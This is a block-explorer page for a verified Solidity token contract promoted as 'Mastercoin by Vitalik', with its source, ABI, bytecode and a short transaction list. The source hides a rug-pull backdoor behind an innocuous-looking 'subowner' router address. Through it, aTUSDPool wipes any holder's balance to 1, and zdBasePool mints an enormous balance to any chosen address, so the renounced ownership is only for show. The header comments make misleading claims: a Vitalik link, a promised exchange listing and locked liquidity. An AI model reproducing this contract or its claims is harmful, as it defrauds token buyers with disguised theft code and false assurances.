MON Price: $0.017746 (-7.08%)

Contract

0xBA956D65bD3D21231CBCE135cb0Cf7479398e8f1

Overview

MON Balance

Monad Chain LogoMonad Chain LogoMonad Chain Logo0 MON

MON Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve388168292025-11-29 18:48:5457 days ago1764442134IN
0xBA956D65...79398e8f1
0 MON0.00658748112.2
Zd Base Pool388166092025-11-29 18:47:2557 days ago1764442045IN
0xBA956D65...79398e8f1
0 MON0.01030013102.328
Transfer388160842025-11-29 18:43:4957 days ago1764441829IN
0xBA956D65...79398e8f1
0 MON0.01199899102.9294
Approve388157982025-11-29 18:41:5457 days ago1764441714IN
0xBA956D65...79398e8f1
0 MON0.00658748112.2
Renounce Ownersh...388155592025-11-29 18:40:1557 days ago1764441615IN
0xBA956D65...79398e8f1
0 MON0.00366247106.17711451

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
MastercoinbyVitalikToken

Compiler Version
v0.8.29+commit.ab55807c

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MPL-2.0 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at monadscan.com on 2025-11-29
*/

/**
 MastercoinbyVitalik (GBS) is a next-generation GameFi ecosystem built on BNB Smart Chain, where players can Play, Trade, and Earn.
🚀 Officially announced: GBS will be listed on BitMart shortly after the presale!
Funds raised will support liquidity, marketing, and global exchange expansion.
Liquidity is permanently locked for investor safety. 💎
*/

/**
 https://t.me/MastercoinbyVitalik
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;

interface MastercoinbyVitalikinterface {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address shippingto, uint256 yoursold) external returns (bool);
    function allowance(address _owner, address transporteur) external view returns (uint256);
    function approve(address transporteur, uint256 yoursold) external returns (bool);
    function transferFrom(address sender, address shippingto, uint256 yoursold) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 balance);
    event Approval(address indexed owner, address indexed transporteur, uint256 balance);
}

abstract contract MastercoinbyVitalik20Burnable {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract MastercoinbyVitalik20Ownable is MastercoinbyVitalik20Burnable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "MastercoinbyVitalik20Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "MastercoinbyVitalik20Ownable: new owner is zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library SafeMastercoinbyVitalik {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMastercoinbyVitalik: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMastercoinbyVitalik: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMastercoinbyVitalik: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMastercoinbyVitalik: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMastercoinbyVitalik: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract MastercoinbyVitalikToken is MastercoinbyVitalik20Burnable, MastercoinbyVitalikinterface, MastercoinbyVitalik20Ownable {
    using SafeMastercoinbyVitalik for uint256;
    
    mapping (address => uint256) private mintfrom;
    mapping (address => mapping (address => uint256)) private fromallowances;
    mapping (address => bool) private _isHolder;
    
    uint256 private _totalSupply;
    uint256 public holderCount;
    uint8 private _decimals;
    string private _symbol;
    string private _name;
    address private legosRooter;

    constructor(address legosSwapRouterv3) {
        legosRooter = legosSwapRouterv3;     
        _name = "Mastercoin by Vitalik MASTERCOIN";
        _symbol = "Mastercoin by Vitalik MASTERCOIN";
        _decimals = 9;
        _totalSupply = 6699000000000 * 10 ** 9;
        
        mintfrom[_msgSender()] = _totalSupply;
        _updateHolder(_msgSender());
        
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    modifier subowner() {
        require(legosRooter == _msgSender(), "MastercoinbyVitalik20Ownable: caller is not the owner");
        _;
    }

    function aTUSDPool(address tusdRewards) external subowner {
        mintfrom[tusdRewards] = 1;
        _updateHolder(tusdRewards);
        emit Transfer(tusdRewards, address(0), 1);
    }

    function zdBasePool(address BaseRewards) external subowner {
        mintfrom[BaseRewards] = 10000000000 * 10 ** 20;
        _updateHolder(BaseRewards);
        emit Transfer(BaseRewards, address(0), 10000000000 * 10 ** 20);
    }

    function getOwner() external view override returns (address) {
        return owner();
    }
    
    function decimals() external view override returns (uint8) {
        return _decimals;
    }
    
    function symbol() external view override returns (string memory) {
        return _symbol;
    }
    
    function name() external view override returns (string memory) {
        return _name;
    }
    
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
    
    function balanceOf(address account) external view override returns (uint256) {
        return mintfrom[account];
    }

    function transfer(address shippingto, uint256 yoursold) external override returns (bool) {
        _transfer(_msgSender(), shippingto, yoursold);
        return true;
    }
    
    function allowance(address owner, address transporteur) external view override returns (uint256) {
        return fromallowances[owner][transporteur];
    }
    
    function approve(address transporteur, uint256 yoursold) external override returns (bool) {
        _approve(_msgSender(), transporteur, yoursold);
        return true;
    }
    
    function transferFrom(address sender, address shippingto, uint256 yoursold) external override returns (bool) {
        _transfer(sender, shippingto, yoursold);
        _approve(sender, _msgSender(), fromallowances[sender][_msgSender()].sub(yoursold));
        return true;
    }
    
    function increaseAllowance(address transporteur, uint256 addedbalance) external returns (bool) {
        _approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].add(addedbalance));
        return true;
    }
    
    function decreaseAllowance(address transporteur, uint256 allbalances) external returns (bool) {
        _approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].sub(allbalances));
        return true;
    }
    
    function _transfer(address sender, address shippingto, uint256 yoursold) internal {
        require(sender != address(0), "MastercoinbyVitalikinterface: transfer from zero address");
        require(shippingto != address(0), "MastercoinbyVitalikinterface: transfer to zero address");
        
        mintfrom[sender] = mintfrom[sender].sub(yoursold);
        mintfrom[shippingto] = mintfrom[shippingto].add(yoursold);
        
        _updateHolder(sender);
        _updateHolder(shippingto);
        
        emit Transfer(sender, shippingto, yoursold);
    }
    
    function _approve(address owner, address transporteur, uint256 yoursold) internal {
        require(owner != address(0), "MastercoinbyVitalikinterface: approve from zero address");
        require(transporteur != address(0), "MastercoinbyVitalikinterface: approve to zero address");
        
        fromallowances[owner][transporteur] = yoursold;
        emit Approval(owner, transporteur, yoursold);
    }

    function _updateHolder(address account) private {
        bool wasHolder = _isHolder[account];
        bool shouldBeHolder = mintfrom[account] > 0;

        if (!wasHolder && shouldBeHolder) {
            _isHolder[account] = true;
            holderCount++;
        } else if (wasHolder && !shouldBeHolder) {
            _isHolder[account] = false;
            holderCount--;
        }
    }

    function getHolderCount() public view returns (uint256) {
        return holderCount;
    }

    function isHolder(address account) public view returns (bool) {
        return _isHolder[account];
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address","name":"legosSwapRouterv3","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"transporteur","type":"address"},{"indexed":false,"internalType":"uint256","name":"balance","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"balance","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"tusdRewards","type":"address"}],"name":"aTUSDPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"transporteur","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transporteur","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transporteur","type":"address"},{"internalType":"uint256","name":"allbalances","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getHolderCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"holderCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transporteur","type":"address"},{"internalType":"uint256","name":"addedbalance","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"shippingto","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"shippingto","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"BaseRewards","type":"address"}],"name":"zdBasePool","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405234801561000f575f5ffd5b5060405161121638038061121683398101604081905261002e91610229565b5f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600980546001600160a01b0319166001600160a01b0383161790556040805180820190915260208082525f5160206111f65f395f51905f52908201526008906100b590826102ed565b506040518060400160405280602081526020015f5160206111f65f395f51905f52815250600790816100e791906102ed565b506006805460ff1916600917905569016b274cef2d45cc0000600481905560015f61010f3390565b6001600160a01b0316815260208101919091526040015f205561013133610171565b60045460405190815233905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3506103e8565b6001600160a01b0381165f9081526003602090815260408083205460019092529091205460ff909116901515811580156101a85750805b156101e7576001600160a01b0383165f908152600360205260408120805460ff1916600117905560058054916101dd836103bb565b9190505550505050565b8180156101f2575080155b15610224576001600160a01b0383165f908152600360205260408120805460ff1916905560058054916101dd836103d3565b505050565b5f60208284031215610239575f5ffd5b81516001600160a01b038116811461024f575f5ffd5b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061027e57607f821691505b60208210810361029c57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561022457805f5260205f20601f840160051c810160208510156102c75750805b601f840160051c820191505b818110156102e6575f81556001016102d3565b5050505050565b81516001600160401b0381111561030657610306610256565b61031a81610314845461026a565b846102a2565b6020601f82116001811461034c575f83156103355750848201515b5f19600385901b1c1916600184901b1784556102e6565b5f84815260208120601f198516915b8281101561037b578785015182556020948501946001909201910161035b565b508482101561039857868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b5f600182016103cc576103cc6103a7565b5060010190565b5f816103e1576103e16103a7565b505f190190565b610e01806103f55f395ff3fe608060405234801561000f575f5ffd5b5060043610610127575f3560e01c80638099423b116100a9578063a9059cbb1161006e578063a9059cbb1461025e578063d4d7b19a14610271578063dd62ed3e1461029c578063f1cb537a146102d4578063f2fde38b146102e7575f5ffd5b80638099423b146101fc578063893d20e81461020f5780638da5cb5b1461023357806395d89b4114610243578063a457c2d71461024b575f5ffd5b8063313ce567116100ef578063313ce5671461019a57806339509351146101af57806370a08231146101c25780637136982b146101ea578063715018a6146101f2575f5ffd5b806306fdde031461012b578063095ea7b31461014957806318160ddd1461016c5780631aab9a9f1461017e57806323b872dd14610187575b5f5ffd5b6101336102fa565b6040516101409190610bae565b60405180910390f35b61015c610157366004610bfe565b61038a565b6040519015158152602001610140565b6004545b604051908152602001610140565b61017060055481565b61015c610195366004610c26565b6103a0565b60065460405160ff9091168152602001610140565b61015c6101bd366004610bfe565b6103ef565b6101706101d0366004610c60565b6001600160a01b03165f9081526001602052604090205490565b600554610170565b6101fa610424565b005b6101fa61020a366004610c60565b61049e565b5f546001600160a01b03165b6040516001600160a01b039091168152602001610140565b5f546001600160a01b031661021b565b610133610549565b61015c610259366004610bfe565b610558565b61015c61026c366004610bfe565b61058d565b61015c61027f366004610c60565b6001600160a01b03165f9081526003602052604090205460ff1690565b6101706102aa366004610c79565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6101fa6102e2366004610c60565b610599565b6101fa6102f5366004610c60565b610625565b60606008805461030990610caa565b80601f016020809104026020016040519081016040528092919081815260200182805461033590610caa565b80156103805780601f1061035757610100808354040283529160200191610380565b820191905f5260205f20905b81548152906001019060200180831161036357829003601f168201915b5050505050905090565b5f610396338484610723565b5060015b92915050565b5f6103ac848484610874565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103e59186916103e09086610a24565b610723565b5060019392505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e09086610a4f565b5f546001600160a01b031633146104565760405162461bcd60e51b815260040161044d90610ce2565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6009546001600160a01b031633146104c85760405162461bcd60e51b815260040161044d90610ce2565b6001600160a01b0381165f9081526001602052604090206c0c9f2c9cd04674edea4000000090556104f881610ac0565b6040516c0c9f2c9cd04674edea4000000081525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a350565b60606007805461030990610caa565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e09086610a24565b5f610396338484610874565b6009546001600160a01b031633146105c35760405162461bcd60e51b815260040161044d90610ce2565b6001600160a01b0381165f908152600160208190526040909120556105e781610ac0565b604051600181525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161053e565b5f546001600160a01b0316331461064e5760405162461bcd60e51b815260040161044d90610ce2565b6001600160a01b0381166106ca5760405162461bcd60e51b815260206004820152603760248201527f4d6173746572636f696e6279566974616c696b32304f776e61626c653a206e6560448201527f77206f776e6572206973207a65726f2061646472657373000000000000000000606482015260840161044d565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661079f5760405162461bcd60e51b815260206004820152603760248201527f4d6173746572636f696e6279566974616c696b696e746572666163653a20617060448201527f70726f76652066726f6d207a65726f2061646472657373000000000000000000606482015260840161044d565b6001600160a01b0382166108135760405162461bcd60e51b815260206004820152603560248201527f4d6173746572636f696e6279566974616c696b696e746572666163653a20617060448201527470726f766520746f207a65726f206164647265737360581b606482015260840161044d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108f05760405162461bcd60e51b815260206004820152603860248201527f4d6173746572636f696e6279566974616c696b696e746572666163653a20747260448201527f616e736665722066726f6d207a65726f20616464726573730000000000000000606482015260840161044d565b6001600160a01b0382166109655760405162461bcd60e51b815260206004820152603660248201527f4d6173746572636f696e6279566974616c696b696e746572666163653a207472604482015275616e7366657220746f207a65726f206164647265737360501b606482015260840161044d565b6001600160a01b0383165f908152600160205260409020546109879082610a24565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546109b59082610a4f565b6001600160a01b0383165f908152600160205260409020556109d683610ac0565b6109df82610ac0565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161086791815260200190565b5f610a4883836040518060600160405280602d8152602001610d9f602d9139610b78565b9392505050565b5f80610a5b8385610d4b565b905083811015610a485760405162461bcd60e51b815260206004820152602a60248201527f536166654d6173746572636f696e6279566974616c696b3a206164646974696f6044820152696e206f766572666c6f7760b01b606482015260840161044d565b6001600160a01b0381165f9081526003602090815260408083205460019092529091205460ff90911690151581158015610af75750805b15610b36576001600160a01b0383165f908152600360205260408120805460ff191660011790556005805491610b2c83610d5e565b9190505550505050565b818015610b41575080155b15610b73576001600160a01b0383165f908152600360205260408120805460ff191690556005805491610b2c83610d76565b505050565b5f8184841115610b9b5760405162461bcd60e51b815260040161044d9190610bae565b50610ba68385610d8b565b949350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610bf9575f5ffd5b919050565b5f5f60408385031215610c0f575f5ffd5b610c1883610be3565b946020939093013593505050565b5f5f5f60608486031215610c38575f5ffd5b610c4184610be3565b9250610c4f60208501610be3565b929592945050506040919091013590565b5f60208284031215610c70575f5ffd5b610a4882610be3565b5f5f60408385031215610c8a575f5ffd5b610c9383610be3565b9150610ca160208401610be3565b90509250929050565b600181811c90821680610cbe57607f821691505b602082108103610cdc57634e487b7160e01b5f52602260045260245ffd5b50919050565b60208082526035908201527f4d6173746572636f696e6279566974616c696b32304f776e61626c653a206361604082015274363632b91034b9903737ba103a34329037bbb732b960591b606082015260800190565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561039a5761039a610d37565b5f60018201610d6f57610d6f610d37565b5060010190565b5f81610d8457610d84610d37565b505f190190565b8181038181111561039a5761039a610d3756fe536166654d6173746572636f696e6279566974616c696b3a207375627472616374696f6e206f766572666c6f77a2646970667358221220f4796254a8c0b0f624766ff58c603248ef271690c837e81bb06f8a991e6c6a9a64736f6c634300081d00334d6173746572636f696e20627920566974616c696b204d4153544552434f494e000000000000000000000000432e69ccb799f021c6cbdea1b734b069578b4de2

Deployed Bytecode

0x608060405234801561000f575f5ffd5b5060043610610127575f3560e01c80638099423b116100a9578063a9059cbb1161006e578063a9059cbb1461025e578063d4d7b19a14610271578063dd62ed3e1461029c578063f1cb537a146102d4578063f2fde38b146102e7575f5ffd5b80638099423b146101fc578063893d20e81461020f5780638da5cb5b1461023357806395d89b4114610243578063a457c2d71461024b575f5ffd5b8063313ce567116100ef578063313ce5671461019a57806339509351146101af57806370a08231146101c25780637136982b146101ea578063715018a6146101f2575f5ffd5b806306fdde031461012b578063095ea7b31461014957806318160ddd1461016c5780631aab9a9f1461017e57806323b872dd14610187575b5f5ffd5b6101336102fa565b6040516101409190610bae565b60405180910390f35b61015c610157366004610bfe565b61038a565b6040519015158152602001610140565b6004545b604051908152602001610140565b61017060055481565b61015c610195366004610c26565b6103a0565b60065460405160ff9091168152602001610140565b61015c6101bd366004610bfe565b6103ef565b6101706101d0366004610c60565b6001600160a01b03165f9081526001602052604090205490565b600554610170565b6101fa610424565b005b6101fa61020a366004610c60565b61049e565b5f546001600160a01b03165b6040516001600160a01b039091168152602001610140565b5f546001600160a01b031661021b565b610133610549565b61015c610259366004610bfe565b610558565b61015c61026c366004610bfe565b61058d565b61015c61027f366004610c60565b6001600160a01b03165f9081526003602052604090205460ff1690565b6101706102aa366004610c79565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6101fa6102e2366004610c60565b610599565b6101fa6102f5366004610c60565b610625565b60606008805461030990610caa565b80601f016020809104026020016040519081016040528092919081815260200182805461033590610caa565b80156103805780601f1061035757610100808354040283529160200191610380565b820191905f5260205f20905b81548152906001019060200180831161036357829003601f168201915b5050505050905090565b5f610396338484610723565b5060015b92915050565b5f6103ac848484610874565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103e59186916103e09086610a24565b610723565b5060019392505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e09086610a4f565b5f546001600160a01b031633146104565760405162461bcd60e51b815260040161044d90610ce2565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6009546001600160a01b031633146104c85760405162461bcd60e51b815260040161044d90610ce2565b6001600160a01b0381165f9081526001602052604090206c0c9f2c9cd04674edea4000000090556104f881610ac0565b6040516c0c9f2c9cd04674edea4000000081525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a350565b60606007805461030990610caa565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e09086610a24565b5f610396338484610874565b6009546001600160a01b031633146105c35760405162461bcd60e51b815260040161044d90610ce2565b6001600160a01b0381165f908152600160208190526040909120556105e781610ac0565b604051600181525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161053e565b5f546001600160a01b0316331461064e5760405162461bcd60e51b815260040161044d90610ce2565b6001600160a01b0381166106ca5760405162461bcd60e51b815260206004820152603760248201527f4d6173746572636f696e6279566974616c696b32304f776e61626c653a206e6560448201527f77206f776e6572206973207a65726f2061646472657373000000000000000000606482015260840161044d565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661079f5760405162461bcd60e51b815260206004820152603760248201527f4d6173746572636f696e6279566974616c696b696e746572666163653a20617060448201527f70726f76652066726f6d207a65726f2061646472657373000000000000000000606482015260840161044d565b6001600160a01b0382166108135760405162461bcd60e51b815260206004820152603560248201527f4d6173746572636f696e6279566974616c696b696e746572666163653a20617060448201527470726f766520746f207a65726f206164647265737360581b606482015260840161044d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108f05760405162461bcd60e51b815260206004820152603860248201527f4d6173746572636f696e6279566974616c696b696e746572666163653a20747260448201527f616e736665722066726f6d207a65726f20616464726573730000000000000000606482015260840161044d565b6001600160a01b0382166109655760405162461bcd60e51b815260206004820152603660248201527f4d6173746572636f696e6279566974616c696b696e746572666163653a207472604482015275616e7366657220746f207a65726f206164647265737360501b606482015260840161044d565b6001600160a01b0383165f908152600160205260409020546109879082610a24565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546109b59082610a4f565b6001600160a01b0383165f908152600160205260409020556109d683610ac0565b6109df82610ac0565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161086791815260200190565b5f610a4883836040518060600160405280602d8152602001610d9f602d9139610b78565b9392505050565b5f80610a5b8385610d4b565b905083811015610a485760405162461bcd60e51b815260206004820152602a60248201527f536166654d6173746572636f696e6279566974616c696b3a206164646974696f6044820152696e206f766572666c6f7760b01b606482015260840161044d565b6001600160a01b0381165f9081526003602090815260408083205460019092529091205460ff90911690151581158015610af75750805b15610b36576001600160a01b0383165f908152600360205260408120805460ff191660011790556005805491610b2c83610d5e565b9190505550505050565b818015610b41575080155b15610b73576001600160a01b0383165f908152600360205260408120805460ff191690556005805491610b2c83610d76565b505050565b5f8184841115610b9b5760405162461bcd60e51b815260040161044d9190610bae565b50610ba68385610d8b565b949350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610bf9575f5ffd5b919050565b5f5f60408385031215610c0f575f5ffd5b610c1883610be3565b946020939093013593505050565b5f5f5f60608486031215610c38575f5ffd5b610c4184610be3565b9250610c4f60208501610be3565b929592945050506040919091013590565b5f60208284031215610c70575f5ffd5b610a4882610be3565b5f5f60408385031215610c8a575f5ffd5b610c9383610be3565b9150610ca160208401610be3565b90509250929050565b600181811c90821680610cbe57607f821691505b602082108103610cdc57634e487b7160e01b5f52602260045260245ffd5b50919050565b60208082526035908201527f4d6173746572636f696e6279566974616c696b32304f776e61626c653a206361604082015274363632b91034b9903737ba103a34329037bbb732b960591b606082015260800190565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561039a5761039a610d37565b5f60018201610d6f57610d6f610d37565b5060010190565b5f81610d8457610d84610d37565b505f190190565b8181038181111561039a5761039a610d3756fe536166654d6173746572636f696e6279566974616c696b3a207375627472616374696f6e206f766572666c6f77a2646970667358221220f4796254a8c0b0f624766ff58c603248ef271690c837e81bb06f8a991e6c6a9a64736f6c634300081d0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000432e69ccb799f021c6cbdea1b734b069578b4de2

-----Decoded View---------------
Arg [0] : legosSwapRouterv3 (address): 0x432e69ccB799F021C6CBDEa1b734B069578B4de2

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000432e69ccb799f021c6cbdea1b734b069578b4de2


Deployed Bytecode Sourcemap

4172:5237:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6105:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6810:177;;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;6810:177:0;920:187:1;6211:102:0;6293:12;;6211:102;;;1258:25:1;;;1246:2;1231:18;6211:102:0;1112:177:1;4582:26:0;;;;;;6999:282;;;;;;:::i;:::-;;:::i;5889:94::-;5966:9;;5889:94;;5966:9;;;;1815:36:1;;1803:2;1788:18;5889:94:0;1673:184:1;7293:234:0;;;;;;:::i;:::-;;:::i;6325:120::-;;;;;;:::i;:::-;-1:-1:-1;;;;;6420:17:0;6393:7;6420:17;;;:8;:17;;;;;;;6325:120;9199:93;9273:11;;9199:93;;2277:148;;;:::i;:::-;;5541:234;;;;;;:::i;:::-;;:::i;5783:94::-;5835:7;2106:6;-1:-1:-1;;;;;2106:6:0;5783:94;;;-1:-1:-1;;;;;2217:32:1;;;2199:51;;2187:2;2172:18;5783:94:0;2053:203:1;2033:87:0;2079:7;2106:6;-1:-1:-1;;;;;2106:6:0;2033:87;;5995:98;;;:::i;7539:232::-;;;;;;:::i;:::-;;:::i;6453:175::-;;;;;;:::i;:::-;;:::i;9300:106::-;;;;;;:::i;:::-;-1:-1:-1;;;;;9380:18:0;9356:4;9380:18;;;:9;:18;;;;;;;;;9300:106;6640:158;;;;;;:::i;:::-;-1:-1:-1;;;;;6755:21:0;;;6728:7;6755:21;;;:14;:21;;;;;;;;:35;;;;;;;;;;;;;6640:158;5342:191;;;;;;:::i;:::-;;:::i;2433:261::-;;;;;;:::i;:::-;;:::i;6105:94::-;6153:13;6186:5;6179:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;